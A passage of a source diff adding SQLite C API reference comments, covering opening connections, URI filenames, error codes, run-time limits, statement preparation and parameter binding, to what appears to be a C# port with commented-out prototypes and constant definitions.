+ ** Whether or not an error occurs when it is opened, resources + ** associated with the [database connection] handle should be released by + ** passing it to [sqlite3_close()] when it is no longer required. + ** + ** The sqlite3_open_v2() interface works like sqlite3_open() + ** except that it accepts two additional parameters for additional control + ** over the new database connection. ^(The flags parameter to + ** sqlite3_open_v2() can take one of + ** the following three values, optionally combined with the + ** [SQLITE_OPEN_NOMUTEX], [SQLITE_OPEN_FULLMUTEX], [SQLITE_OPEN_SHAREDCACHE], + ** [SQLITE_OPEN_PRIVATECACHE], and/or [SQLITE_OPEN_URI] flags:)^ + ** + **
+ ** ^(
[SQLITE_OPEN_READONLY]
+ **
The database is opened in read-only mode. If the database does not + ** already exist, an error is returned.
)^ + ** + ** ^(
[SQLITE_OPEN_READWRITE]
+ **
The database is opened for reading and writing if possible, or reading + ** only if the file is write protected by the operating system. In either + ** case the database must already exist, otherwise an error is returned.
)^ + ** + ** ^(
[SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]
+ **
The database is opened for reading and writing, and is created if + ** it does not already exist. This is the behavior that is always used for + ** sqlite3_open() and sqlite3_open16().
)^ + **
+ ** + ** If the 3rd parameter to sqlite3_open_v2() is not one of the + ** combinations shown above optionally combined with other + ** [SQLITE_OPEN_READONLY | SQLITE_OPEN_* bits] + ** then the behavior is undefined. + ** + ** ^If the [SQLITE_OPEN_NOMUTEX] flag is set, then the database connection + ** opens in the multi-thread [threading mode] as long as the single-thread + ** mode has not been set at compile-time or start-time. ^If the + ** [SQLITE_OPEN_FULLMUTEX] flag is set then the database connection opens + ** in the serialized [threading mode] unless single-thread was + ** previously selected at compile-time or start-time. + ** ^The [SQLITE_OPEN_SHAREDCACHE] flag causes the database connection to be + ** eligible to use [shared cache mode], regardless of whether or not shared + ** cache is enabled using [sqlite3_enable_shared_cache()]. ^The + ** [SQLITE_OPEN_PRIVATECACHE] flag causes the database connection to not + ** participate in [shared cache mode] even if it is enabled. + ** + ** ^The fourth parameter to sqlite3_open_v2() is the name of the + ** [sqlite3_vfs] object that defines the operating system interface that + ** the new database connection should use. ^If the fourth parameter is + ** a NULL pointer then the default [sqlite3_vfs] object is used. + ** + ** ^If the filename is ":memory:", then a private, temporary in-memory database + ** is created for the connection. ^This in-memory database will vanish when + ** the database connection is closed. Future versions of SQLite might + ** make use of additional special filenames that begin with the ":" character. + ** It is recommended that when a database filename actually does begin with + ** a ":" character you should prefix the filename with a pathname such as + ** "./" to avoid ambiguity. + ** + ** ^If the filename is an empty string, then a private, temporary + ** on-disk database will be created. ^This private database will be + ** automatically deleted as soon as the database connection is closed. + ** + ** [[URI filenames in sqlite3_open()]]

URI Filenames

+ ** + ** ^If [URI filename] interpretation is enabled, and the filename argument + ** begins with "file:", then the filename is interpreted as a URI. ^URI + ** filename interpretation is enabled if the [SQLITE_OPEN_URI] flag is + ** set in the fourth argument to sqlite3_open_v2(), or if it has + ** been enabled globally using the [SQLITE_CONFIG_URI] option with the + ** [sqlite3_config()] method or by the [SQLITE_USE_URI] compile-time option. + ** As of SQLite version 3.7.7, URI filename interpretation is turned off + ** by default, but future releases of SQLite might enable URI filename + ** interpretation by default. See "[URI filenames]" for additional + ** information. + ** + ** URI filenames are parsed according to RFC 3986. ^If the URI contains an + ** authority, then it must be either an empty string or the string + ** "localhost". ^If the authority is not an empty string or "localhost", an + ** error is returned to the caller. ^The fragment component of a URI, if + ** present, is ignored. + ** + ** ^SQLite uses the path component of the URI as the name of the disk file + ** which contains the database. ^If the path begins with a '/' character, + ** then it is interpreted as an absolute path. ^If the path does not begin + ** with a '/' (meaning that the authority section is omitted from the URI) + ** then the path is interpreted as a relative path. + ** ^On windows, the first component of an absolute path + ** is a drive specification (e.g. "C:"). + ** + ** [[core URI query parameters]] + ** The query component of a URI may contain parameters that are interpreted + ** either by SQLite itself, or by a [VFS | custom VFS implementation]. + ** SQLite interprets the following three query parameters: + ** + **
    + **
  • vfs: ^The "vfs" parameter may be used to specify the name of + ** a VFS object that provides the operating system interface that should + ** be used to access the database file on disk. ^If this option is set to + ** an empty string the default VFS object is used. ^Specifying an unknown + ** VFS is an error. ^If sqlite3_open_v2() is used and the vfs option is + ** present, then the VFS specified by the option takes precedence over + ** the value passed as the fourth parameter to sqlite3_open_v2(). + ** + **
  • mode: ^(The mode parameter may be set to either "ro", "rw" or + ** "rwc". Attempting to set it to any other value is an error)^. + ** ^If "ro" is specified, then the database is opened for read-only + ** access, just as if the [SQLITE_OPEN_READONLY] flag had been set in the + ** third argument to sqlite3_prepare_v2(). ^If the mode option is set to + ** "rw", then the database is opened for read-write (but not create) + ** access, as if SQLITE_OPEN_READWRITE (but not SQLITE_OPEN_CREATE) had + ** been set. ^Value "rwc" is equivalent to setting both + ** SQLITE_OPEN_READWRITE and SQLITE_OPEN_CREATE. ^If sqlite3_open_v2() is + ** used, it is an error to specify a value for the mode parameter that is + ** less restrictive than that specified by the flags passed as the third + ** parameter. + ** + **
  • cache: ^The cache parameter may be set to either "shared" or + ** "private". ^Setting it to "shared" is equivalent to setting the + ** SQLITE_OPEN_SHAREDCACHE bit in the flags argument passed to + ** sqlite3_open_v2(). ^Setting the cache parameter to "private" is + ** equivalent to setting the SQLITE_OPEN_PRIVATECACHE bit. + ** ^If sqlite3_open_v2() is used and the "cache" parameter is present in + ** a URI filename, its value overrides any behaviour requested by setting + ** SQLITE_OPEN_PRIVATECACHE or SQLITE_OPEN_SHAREDCACHE flag. + **
+ ** + ** ^Specifying an unknown parameter in the query component of a URI is not an + ** error. Future versions of SQLite might understand additional query + ** parameters. See "[query parameters with special meaning to SQLite]" for + ** additional information. + ** + ** [[URI filename examples]]

URI filename examples

+ ** + **
+ **
URI filenames Results + **
file:data.db + ** Open the file "data.db" in the current directory. + **
file:/home/fred/data.db
+ ** file:///home/fred/data.db
+ ** file://localhost/home/fred/data.db
+ ** Open the database file "/home/fred/data.db". + **
file://darkstar/home/fred/data.db + ** An error. "darkstar" is not a recognized authority. + **
+ ** file:///C:/Documents%20and%20Settings/fred/Desktop/data.db + ** Windows only: Open the file "data.db" on fred's desktop on drive + ** C:. Note that the %20 escaping in this example is not strictly + ** necessary - space characters can be used literally + ** in URI filenames. + **
file:data.db?mode=ro&cache=private + ** Open file "data.db" in the current directory for read-only access. + ** Regardless of whether or not shared-cache mode is enabled by + ** default, use a private cache. + **
file:/home/fred/data.db?vfs=unix-nolock + ** Open file "/home/fred/data.db". Use the special VFS "unix-nolock". + **
file:data.db?mode=readonly + ** An error. "readonly" is not a valid option for the "mode" parameter. + **
+ ** + ** ^URI hexadecimal escape sequences (%HH) are supported within the path and + ** query components of a URI. A hexadecimal escape sequence consists of a + ** percent sign - "%" - followed by exactly two hexadecimal digits + ** specifying an octet value. ^Before the path or query components of a + ** URI filename are interpreted, they are encoded using UTF-8 and all + ** hexadecimal escape sequences replaced by a single byte containing the + ** corresponding octet. If this process generates an invalid UTF-8 encoding, + ** the results are undefined. + ** + ** Note to Windows users: The encoding used for the filename argument + ** of sqlite3_open() and sqlite3_open_v2() must be UTF-8, not whatever + ** codepage is currently defined. Filenames containing international + ** characters must be converted to UTF-8 prior to passing them into + ** sqlite3_open() or sqlite3_open_v2(). + */ + //SQLITE_API int sqlite3_open( + // string filename, /* Database filename (UTF-8) */ + // sqlite3 **ppDb /* OUT: SQLite db handle */ + //); + //SQLITE_API int sqlite3_open16( + // const void *filename, /* Database filename (UTF-16) */ + // sqlite3 **ppDb /* OUT: SQLite db handle */ + //); + //SQLITE_API int sqlite3_open_v2( + // string filename, /* Database filename (UTF-8) */ + // sqlite3 **ppDb, /* OUT: SQLite db handle */ + // int flags, /* Flags */ + // string zVfs /* Name of VFS module to use */ + //); + + /* + ** CAPI3REF: Obtain Values For URI Parameters + ** + ** This is a utility routine, useful to VFS implementations, that checks + ** to see if a database file was a URI that contained a specific query + ** parameter, and if so obtains the value of the query parameter. + ** + ** The zFilename argument is the filename pointer passed into the xOpen() + ** method of a VFS implementation. The zParam argument is the name of the + ** query parameter we seek. This routine returns the value of the zParam + ** parameter if it exists. If the parameter does not exist, this routine + ** returns a NULL pointer. + ** + ** If the zFilename argument to this function is not a pointer that SQLite + ** passed into the xOpen VFS method, then the behavior of this routine + ** is undefined and probably undesirable. + */ + //SQLITE_API string sqlite3_uri_parameter(string zFilename, string zParam); + + + /* + ** CAPI3REF: Error Codes And Messages + ** + ** ^The sqlite3_errcode() interface returns the numeric [result code] or + ** [extended result code] for the most recent failed sqlite3_* API call + ** associated with a [database connection]. If a prior API call failed + ** but the most recent API call succeeded, the return value from + ** sqlite3_errcode() is undefined. ^The sqlite3_extended_errcode() + ** interface is the same except that it always returns the + ** [extended result code] even when extended result codes are + ** disabled. + ** + ** ^The sqlite3_errmsg() and sqlite3_errmsg16() return English-language + ** text that describes the error, as either UTF-8 or UTF-16 respectively. + ** ^(Memory to hold the error message string is managed internally. + ** The application does not need to worry about freeing the result. + ** However, the error string might be overwritten or deallocated by + ** subsequent calls to other SQLite interface functions.)^ + ** + ** When the serialized [threading mode] is in use, it might be the + ** case that a second error occurs on a separate thread in between + ** the time of the first error and the call to these interfaces. + ** When that happens, the second error will be reported since these + ** interfaces always report the most recent result. To avoid + ** this, each thread can obtain exclusive use of the [database connection] D + ** by invoking [sqlite3_mutex_enter]([sqlite3_db_mutex](D)) before beginning + ** to use D and invoking [sqlite3_mutex_leave]([sqlite3_db_mutex](D)) after + ** all calls to the interfaces listed here are completed. + ** + ** If an interface fails with SQLITE_MISUSE, that means the interface + ** was invoked incorrectly by the application. In that case, the + ** error code and message may or may not be set. + */ + //SQLITE_API int sqlite3_errcode(sqlite3 db); + //SQLITE_API int sqlite3_extended_errcode(sqlite3 db); + //SQLITE_API string sqlite3_errmsg(sqlite3); + //SQLITE_API const void *sqlite3_errmsg16(sqlite3); + + /* + ** CAPI3REF: SQL Statement Object + ** KEYWORDS: {prepared statement} {prepared statements} + ** + ** An instance of this object represents a single SQL statement. + ** This object is variously known as a "prepared statement" or a + ** "compiled SQL statement" or simply as a "statement". + ** + ** The life of a statement object goes something like this: + ** + **
    + **
  1. Create the object using [sqlite3_prepare_v2()] or a related + ** function. + **
  2. Bind values to [host parameters] using the sqlite3_bind_*() + ** interfaces. + **
  3. Run the SQL by calling [sqlite3_step()] one or more times. + **
  4. Reset the statement using [sqlite3_reset()] then go back + ** to step 2. Do this zero or more times. + **
  5. Destroy the object using [sqlite3_finalize()]. + **
+ ** + ** Refer to documentation on individual methods above for additional + ** information. + */ + //typedef struct sqlite3_stmt sqlite3_stmt; + + /* + ** CAPI3REF: Run-time Limits + ** + ** ^(This interface allows the size of various constructs to be limited + ** on a connection by connection basis. The first parameter is the + ** [database connection] whose limit is to be set or queried. The + ** second parameter is one of the [limit categories] that define a + ** class of constructs to be size limited. The third parameter is the + ** new limit for that construct.)^ + ** + ** ^If the new limit is a negative number, the limit is unchanged. + ** ^(For each limit category SQLITE_LIMIT_NAME there is a + ** [limits | hard upper bound] + ** set at compile-time by a C preprocessor macro called + ** [limits | SQLITE_MAX_NAME]. + ** (The "_LIMIT_" in the name is changed to "_MAX_".))^ + ** ^Attempts to increase a limit above its hard upper bound are + ** silently truncated to the hard upper bound. + ** + ** ^Regardless of whether or not the limit was changed, the + ** [sqlite3_limit()] interface returns the prior value of the limit. + ** ^Hence, to find the current value of a limit without changing it, + ** simply invoke this interface with the third parameter set to -1. + ** + ** Run-time limits are intended for use in applications that manage + ** both their own internal database and also databases that are controlled + ** by untrusted external sources. An example application might be a + ** web browser that has its own databases for storing history and + ** separate databases controlled by JavaScript applications downloaded + ** off the Internet. The internal databases can be given the + ** large, default limits. Databases managed by external sources can + ** be given much smaller limits designed to prevent a denial of service + ** attack. Developers might also want to use the [sqlite3_set_authorizer()] + ** interface to further control untrusted SQL. The size of the database + ** created by an untrusted script can be contained using the + ** [max_page_count] [PRAGMA]. + ** + ** New run-time limit categories may be added in future releases. + */ + //SQLITE_API int sqlite3_limit(sqlite3*, int id, int newVal); + + /* + ** CAPI3REF: Run-Time Limit Categories + ** KEYWORDS: {limit category} {*limit categories} + ** + ** These constants define various performance limits + ** that can be lowered at run-time using [sqlite3_limit()]. + ** The synopsis of the meanings of the various limits is shown below. + ** Additional information is available at [limits | Limits in SQLite]. + ** + **
+ ** [[SQLITE_LIMIT_LENGTH]] ^(
SQLITE_LIMIT_LENGTH
+ **
The maximum size of any string or BLOB or table row, in bytes.
)^ + ** + ** [[SQLITE_LIMIT_SQL_LENGTH]] ^(
SQLITE_LIMIT_SQL_LENGTH
+ **
The maximum length of an SQL statement, in bytes.
)^ + ** + ** [[SQLITE_LIMIT_COLUMN]] ^(
SQLITE_LIMIT_COLUMN
+ **
The maximum number of columns in a table definition or in the + ** result set of a [SELECT] or the maximum number of columns in an index + ** or in an ORDER BY or GROUP BY clause.
)^ + ** + ** [[SQLITE_LIMIT_EXPR_DEPTH]] ^(
SQLITE_LIMIT_EXPR_DEPTH
+ **
The maximum depth of the parse tree on any expression.
)^ + ** + ** [[SQLITE_LIMIT_COMPOUND_SELECT]] ^(
SQLITE_LIMIT_COMPOUND_SELECT
+ **
The maximum number of terms in a compound SELECT statement.
)^ + ** + ** [[SQLITE_LIMIT_VDBE_OP]] ^(
SQLITE_LIMIT_VDBE_OP
+ **
The maximum number of instructions in a virtual machine program + ** used to implement an SQL statement. This limit is not currently + ** enforced, though that might be added in some future release of + ** SQLite.
)^ + ** + ** [[SQLITE_LIMIT_FUNCTION_ARG]] ^(
SQLITE_LIMIT_FUNCTION_ARG
+ **
The maximum number of arguments on a function.
)^ + ** + ** [[SQLITE_LIMIT_ATTACHED]] ^(
SQLITE_LIMIT_ATTACHED
+ **
The maximum number of [ATTACH | attached databases].)^
+ ** + ** [[SQLITE_LIMIT_LIKE_PATTERN_LENGTH]] + ** ^(
SQLITE_LIMIT_LIKE_PATTERN_LENGTH
+ **
The maximum length of the pattern argument to the [LIKE] or + ** [GLOB] operators.
)^ + ** + ** [[SQLITE_LIMIT_VARIABLE_NUMBER]] + ** ^(
SQLITE_LIMIT_VARIABLE_NUMBER
+ **
The maximum index number of any [parameter] in an SQL statement.)^ + ** + ** [[SQLITE_LIMIT_TRIGGER_DEPTH]] ^(
SQLITE_LIMIT_TRIGGER_DEPTH
+ **
The maximum depth of recursion for triggers.
)^ + **
+ */ + //#define SQLITE_LIMIT_LENGTH 0 + //#define SQLITE_LIMIT_SQL_LENGTH 1 + //#define SQLITE_LIMIT_COLUMN 2 + //#define SQLITE_LIMIT_EXPR_DEPTH 3 + //#define SQLITE_LIMIT_COMPOUND_SELECT 4 + //#define SQLITE_LIMIT_VDBE_OP 5 + //#define SQLITE_LIMIT_FUNCTION_ARG 6 + //#define SQLITE_LIMIT_ATTACHED 7 + //#define SQLITE_LIMIT_LIKE_PATTERN_LENGTH 8 + //#define SQLITE_LIMIT_VARIABLE_NUMBER 9 + //#define SQLITE_LIMIT_TRIGGER_DEPTH 10 + const int SQLITE_LIMIT_LENGTH = 0; + const int SQLITE_LIMIT_SQL_LENGTH = 1; + const int SQLITE_LIMIT_COLUMN = 2; + const int SQLITE_LIMIT_EXPR_DEPTH = 3; + const int SQLITE_LIMIT_COMPOUND_SELECT = 4; + const int SQLITE_LIMIT_VDBE_OP = 5; + const int SQLITE_LIMIT_FUNCTION_ARG = 6; + const int SQLITE_LIMIT_ATTACHED = 7; + const int SQLITE_LIMIT_LIKE_PATTERN_LENGTH = 8; + const int SQLITE_LIMIT_VARIABLE_NUMBER = 9; + const int SQLITE_LIMIT_TRIGGER_DEPTH = 10; + + /* + ** CAPI3REF: Compiling An SQL Statement + ** KEYWORDS: {SQL statement compiler} + ** + ** To execute an SQL query, it must first be compiled into a byte-code + ** program using one of these routines. + ** + ** The first argument, "db", is a [database connection] obtained from a + ** prior successful call to [sqlite3_open()], [sqlite3_open_v2()] or + ** [sqlite3_open16()]. The database connection must not have been closed. + ** + ** The second argument, "zSql", is the statement to be compiled, encoded + ** as either UTF-8 or UTF-16. The sqlite3_prepare() and sqlite3_prepare_v2() + ** interfaces use UTF-8, and sqlite3_prepare16() and sqlite3_prepare16_v2() + ** use UTF-16. + ** + ** ^If the nByte argument is less than zero, then zSql is read up to the + ** first zero terminator. ^If nByte is non-negative, then it is the maximum + ** number of bytes read from zSql. ^When nByte is non-negative, the + ** zSql string ends at either the first '\000' or '\u0000' character or + ** the nByte-th byte, whichever comes first. If the caller knows + ** that the supplied string is nul-terminated, then there is a small + ** performance advantage to be gained by passing an nByte parameter that + ** is equal to the number of bytes in the input string including + ** the nul-terminator bytes. + ** + ** ^If pzTail is not NULL then *pzTail is made to point to the first byte + ** past the end of the first SQL statement in zSql. These routines only + ** compile the first statement in zSql, so *pzTail is left pointing to + ** what remains uncompiled. + ** + ** ^*ppStmt is left pointing to a compiled [prepared statement] that can be + ** executed using [sqlite3_step()]. ^If there is an error, *ppStmt is set + ** to NULL. ^If the input text contains no SQL (if the input is an empty + ** string or a comment) then *ppStmt is set to NULL. + ** The calling procedure is responsible for deleting the compiled + ** SQL statement using [sqlite3_finalize()] after it has finished with it. + ** ppStmt may not be NULL. + ** + ** ^On success, the sqlite3_prepare() family of routines return [SQLITE_OK]; + ** otherwise an [error code] is returned. + ** + ** The sqlite3_prepare_v2() and sqlite3_prepare16_v2() interfaces are + ** recommended for all new programs. The two older interfaces are retained + ** for backwards compatibility, but their use is discouraged. + ** ^In the "v2" interfaces, the prepared statement + ** that is returned (the [sqlite3_stmt] object) contains a copy of the + ** original SQL text. This causes the [sqlite3_step()] interface to + ** behave differently in three ways: + ** + **
    + **
  1. + ** ^If the database schema changes, instead of returning [SQLITE_SCHEMA] as it + ** always used to do, [sqlite3_step()] will automatically recompile the SQL + ** statement and try to run it again. + **
  2. + ** + **
  3. + ** ^When an error occurs, [sqlite3_step()] will return one of the detailed + ** [error codes] or [extended error codes]. ^The legacy behavior was that + ** [sqlite3_step()] would only return a generic [SQLITE_ERROR] result code + ** and the application would have to make a second call to [sqlite3_reset()] + ** in order to find the underlying cause of the problem. With the "v2" prepare + ** interfaces, the underlying reason for the error is returned immediately. + **
  4. + ** + **
  5. + ** ^If the specific value bound to [parameter | host parameter] in the + ** WHERE clause might influence the choice of query plan for a statement, + ** then the statement will be automatically recompiled, as if there had been + ** a schema change, on the first [sqlite3_step()] call following any change + ** to the [sqlite3_bind_text | bindings] of that [parameter]. + ** ^The specific value of WHERE-clause [parameter] might influence the + ** choice of query plan if the parameter is the left-hand side of a [LIKE] + ** or [GLOB] operator or if the parameter is compared to an indexed column + ** and the [SQLITE_ENABLE_STAT2] compile-time option is enabled. + ** the + **
  6. + **
+ */ + //SQLITE_API int sqlite3_prepare( + // sqlite3 db, /* Database handle */ + // string zSql, /* SQL statement, UTF-8 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // string *pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare_v2( + // sqlite3 db, /* Database handle */ + // string zSql, /* SQL statement, UTF-8 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // string *pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare16( + // sqlite3 db, /* Database handle */ + // string zSql, /* SQL statement, UTF-16 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const void **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + //SQLITE_API int sqlite3_prepare16_v2( + // sqlite3 db, /* Database handle */ + // string zSql, /* SQL statement, UTF-16 encoded */ + // int nByte, /* Maximum length of zSql in bytes. */ + // sqlite3_stmt **ppStmt, /* OUT: Statement handle */ + // const void **pzTail /* OUT: Pointer to unused portion of zSql */ + //); + + /* + ** CAPI3REF: Retrieving Statement SQL + ** + ** ^This interface can be used to retrieve a saved copy of the original + ** SQL text used to create a [prepared statement] if that statement was + ** compiled using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()]. + */ + //SQLITE_API string sqlite3_sql(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Determine If An SQL Statement Writes The Database + ** + ** ^The sqlite3_stmt_readonly(X) interface returns true (non-zero) if + ** and only if the [prepared statement] X makes no direct changes to + ** the content of the database file. + ** + ** Note that [application-defined SQL functions] or + ** [virtual tables] might change the database indirectly as a side effect. + ** ^(For example, if an application defines a function "eval()" that + ** calls [sqlite3_exec()], then the following SQL statement would + ** change the database file through side-effects: + ** + **
+    **    SELECT eval('DELETE FROM t1') FROM t2;
+    ** 
+ ** + ** But because the [SELECT] statement does not change the database file + ** directly, sqlite3_stmt_readonly() would still return true.)^ + ** + ** ^Transaction control statements such as [BEGIN], [COMMIT], [ROLLBACK], + ** [SAVEPOINT], and [RELEASE] cause sqlite3_stmt_readonly() to return true, + ** since the statements themselves do not actually modify the database but + ** rather they control the timing of when other statements modify the + ** database. ^The [ATTACH] and [DETACH] statements also cause + ** sqlite3_stmt_readonly() to return true since, while those statements + ** change the configuration of a database connection, they do not make + ** changes to the content of the database files on disk. + */ + //SQLITE_API int sqlite3_stmt_readonly(sqlite3_stmt *pStmt); + + /* + ** CAPI3REF: Dynamically Typed Value Object + ** KEYWORDS: {protected sqlite3_value} {unprotected sqlite3_value} + ** + ** SQLite uses the sqlite3_value object to represent all values + ** that can be stored in a database table. SQLite uses dynamic typing + ** for the values it stores. ^Values stored in sqlite3_value objects + ** can be integers, floating point values, strings, BLOBs, or NULL. + ** + ** An sqlite3_value object may be either "protected" or "unprotected". + ** Some interfaces require a protected sqlite3_value. Other interfaces + ** will accept either a protected or an unprotected sqlite3_value. + ** Every interface that accepts sqlite3_value arguments specifies + ** whether or not it requires a protected sqlite3_value. + ** + ** The terms "protected" and "unprotected" refer to whether or not + ** a mutex is held. An internal mutex is held for a protected + ** sqlite3_value object but no mutex is held for an unprotected + ** sqlite3_value object. If SQLite is compiled to be single-threaded + ** (with [SQLITE_THREADSAFE=0] and with [sqlite3_threadsafe()] returning 0) + ** or if SQLite is run in one of reduced mutex modes + ** [SQLITE_CONFIG_SINGLETHREAD] or [SQLITE_CONFIG_MULTITHREAD] + ** then there is no distinction between protected and unprotected + ** sqlite3_value objects and they can be used interchangeably. However, + ** for maximum code portability it is recommended that applications + ** still make the distinction between protected and unprotected + ** sqlite3_value objects even when not strictly required. + ** + ** ^The sqlite3_value objects that are passed as parameters into the + ** implementation of [application-defined SQL functions] are protected. + ** ^The sqlite3_value object returned by + ** [sqlite3_column_value()] is unprotected. + ** Unprotected sqlite3_value objects may only be used with + ** [sqlite3_result_value()] and [sqlite3_bind_value()]. + ** The [sqlite3_value_blob | sqlite3_value_type()] family of + ** interfaces require protected sqlite3_value objects. + */ + //typedef struct Mem sqlite3_value; + + /* + ** CAPI3REF: SQL Function Context Object + ** + ** The context in which an SQL function executes is stored in an + ** sqlite3_context object. ^A pointer to an sqlite3_context object + ** is always first parameter to [application-defined SQL functions]. + ** The application-defined SQL function implementation will pass this + ** pointer through into calls to [sqlite3_result_int | sqlite3_result()], + ** [sqlite3_aggregate_context()], [sqlite3_user_data()], + ** [sqlite3_context_db_handle()], [sqlite3_get_auxdata()], + ** and/or [sqlite3_set_auxdata()]. + */ + //typedef struct sqlite3_context sqlite3_context; + + /* + ** CAPI3REF: Binding Values To Prepared Statements + ** KEYWORDS: {host parameter} {host parameters} {host parameter name} + ** KEYWORDS: {SQL parameter} {SQL parameters} {parameter binding} + ** + ** ^(In the SQL statement text input to [sqlite3_prepare_v2()] and its variants, + ** literals may be replaced by a [parameter] that matches one of following + ** templates: + ** + **
    + **
  • ? + **
  • ?NNN + **
  • :VVV + **
  • @VVV + **
  • $VVV + **
+ ** + ** In the templates above, NNN represents an integer literal, + ** and VVV represents an alphanumeric identifier.)^ ^The values of these + ** parameters (also called "host parameter names" or "SQL parameters") + ** can be set using the sqlite3_bind_*() routines defined here. + ** + ** ^The first argument to the sqlite3_bind_*() routines is always + ** a pointer to the [sqlite3_stmt] object returned from + ** [sqlite3_prepare_v2()] or its variants. + ** + ** ^The second argument is the index of the SQL parameter to be set. + ** ^The leftmost SQL parameter has an index of 1. ^When the same named + ** SQL parameter is used more than once, second and subsequent + ** occurrences have the same index as the first occurrence. + ** ^The index for named parameters can be looked up using the + ** [sqlite3_bind_parameter_index()] API if desired. ^The index + ** for "?NNN" parameters is the value of NNN. + ** ^The NNN value must be between 1 and the [sqlite3_limit()] + ** parameter [SQLITE_LIMIT_VARIABLE_NUMBER] (default value: 999). + ** + ** ^The third argument is the value to bind to the parameter. + ** + ** ^(In those routines that have a fourth argument, its value is the + ** number of bytes in the parameter. To be clear: the value is the + ** number of bytes in the value, not the number of characters.)^ + ** ^If the fourth parameter is negative, the length of the string is + ** the number of bytes up to the first zero terminator. + ** + ** ^The fifth argument to sqlite3_bind_blob(), sqlite3_bind_text(), and + ** sqlite3_bind_text16() is a destructor used to dispose of the BLOB or + ** string after SQLite has finished with it. ^The destructor is called + ** to dispose of the BLOB or string even if the call to sqlite3_bind_blob(), + ** sqlite3_bind_text(), or sqlite3_bind_text16() fails. + ** ^If the fifth argument is + ** the special value [SQLITE_STATIC], then SQLite assumes that the + ** information is in static, unmanaged space and does not need to be freed. + ** ^If the fifth argument has the value [SQLITE_TRANSIENT], then + ** SQLite makes its own private copy of the data immediately, before + ** the sqlite3_bind_*() routine returns. + ** + ** ^The sqlite3_bind_zeroblob() routine binds a BLOB of length N that + ** is filled with zeroes. ^A zeroblob uses a fixed amount of memory + ** (just an integer to hold its size) while it is being processed. + ** Zeroblobs are intended to serve as placeholders for BLOBs whose + ** content is later written using + ** [sqlite3_blob_open | incremental BLOB I/O] routines. + ** ^A negative value for the zeroblob results in a zero-length BLOB. + ** + ** ^If any of the sqlite3_bind_*() routines are called with a NULL pointer + ** for the [prepared statement] or with a prepared statement for which + ** [sqlite3_step()] has been called more recently than [sqlite3_reset()], + ** then the call will return [SQLITE_MISUSE]. If any sqlite3_bind_() + ** routine is passed a [prepared statement] that has been finalized, the + ** result is undefined and probably harmful. + ** + ** ^Bindings are not cleared by the [sqlite3_reset()] routine. + ** ^Unbound parameters are interpreted as NULL. + ** + ** ^The sqlite3_bind_* routines return [SQLITE_OK] on success or an + ** [error code] if anything goes wrong. + ** ^[SQLITE_RANGE] is returned if the parameter + ** index is out of range. ^[SQLITE_NOMEM] is returned if malloc() fails. + ** + ** See also: [sqlite3_bind_parameter_count()], + ** [sqlite3_bind_parameter_name()], and [sqlite3_bind_parameter_index()]. + */ + //SQLITE_API int sqlite3_bind_blob(sqlite3_stmt*, int, const void*, int n, void()(void)); + //SQLITE_API int sqlite3_bind_double(sqlite3_stmt*, int, double); + //SQLITE_API int sqlite3_bind_int(sqlite3_stmt*, int, int); + //SQLITE_API int sqlite3_bind_int64(sqlite3_stmt*, int, sqlite3_int64); + //SQLITE_API int sqlite3_bind_null(sqlite3_stmt*, int); + //SQLITE_API int sqlite3_bind_text(sqlite3_stmt*, int, const char*, int n, void()(void)); + //SQLITE_API int sqlite3_bind_text16(sqlite3_stmt*, int, const void*, int, void()(void)); + //SQLITE_API int sqlite3_bind_value(sqlite3_stmt*, int, const sqlite3_value); + //SQLITE_API int sqlite3_bind_zeroblob(sqlite3_stmt*, int, int n); + + /* + ** CAPI3REF: Number Of SQL Parameters + ** + ** ^This routine can be used to find the number of [SQL parameters] + ** in a [prepared statement]. SQL parameters are tokens of the + ** form "?", "?NNN", ":AAA", "$AAA", or "@AAA" that serve as + ** placeholders for values that are [sqlite3_bind_blob | bound] + ** to the parameters at a later time. + ** + ** ^(This routine actually returns the index of the largest (rightmost) + ** parameter. For all forms except ?NNN, this will correspond to the + ** number of unique parameters. If parameters of the ?NNN form are used, + ** there may be gaps in the list.)^ + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_name()], and + ** [sqlite3_bind_parameter_index()]. + */ + //SQLITE_API int sqlite3_bind_parameter_count(sqlite3_stmt); + + /* + ** CAPI3REF: Name Of A Host Parameter + ** + ** ^The sqlite3_bind_parameter_name(P,N) interface returns + ** the name of the N-th [SQL parameter] in the [prepared statement] P. + ** ^(SQL parameters of the form "?NNN" or ":AAA" or "@AAA" or "$AAA" + ** have a name which is the string "?NNN" or ":AAA" or "@AAA" or "$AAA" + ** respectively. + ** In other words, the initial ":" or "$" or "@" or "?" + ** is included as part of the name.)^ + ** ^Parameters of the form "?" without a following integer have no name + ** and are referred to as "nameless" or "anonymous parameters". + ** + ** ^The first host parameter has an index of 1, not 0. + ** + ** ^If the value N is out of range or if the N-th parameter is + ** nameless, then NULL is returned. ^The returned string is + ** always in UTF-8 encoding even if the named parameter was + ** originally specified as UTF-16 in [sqlite3_prepare16()] or + ** [sqlite3_prepare16_v2()]. + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_count()], and + ** [sqlite3_bind_parameter_index()]. + */ + //SQLITE_API string sqlite3_bind_parameter_name(sqlite3_stmt*, int); + + /* + ** CAPI3REF: Index Of A Parameter With A Given Name + ** + ** ^Return the index of an SQL parameter given its name. ^The + ** index value returned is suitable for use as the second + ** parameter to [sqlite3_bind_blob|sqlite3_bind()]. ^A zero + ** is returned if no matching parameter is found. ^The parameter + ** name must be given in UTF-8 even if the original statement + ** was prepared from UTF-16 text using [sqlite3_prepare16_v2()]. + ** + ** See also: [sqlite3_bind_blob|sqlite3_bind()], + ** [sqlite3_bind_parameter_count()], and + ** [sqlite3_bind_parameter_index()]. + */ + //SQLITE_API int sqlite3_bind_parameter_index(sqlite3_stmt*, string zName); + + /* + ** CAPI3REF: Reset All Bindings On 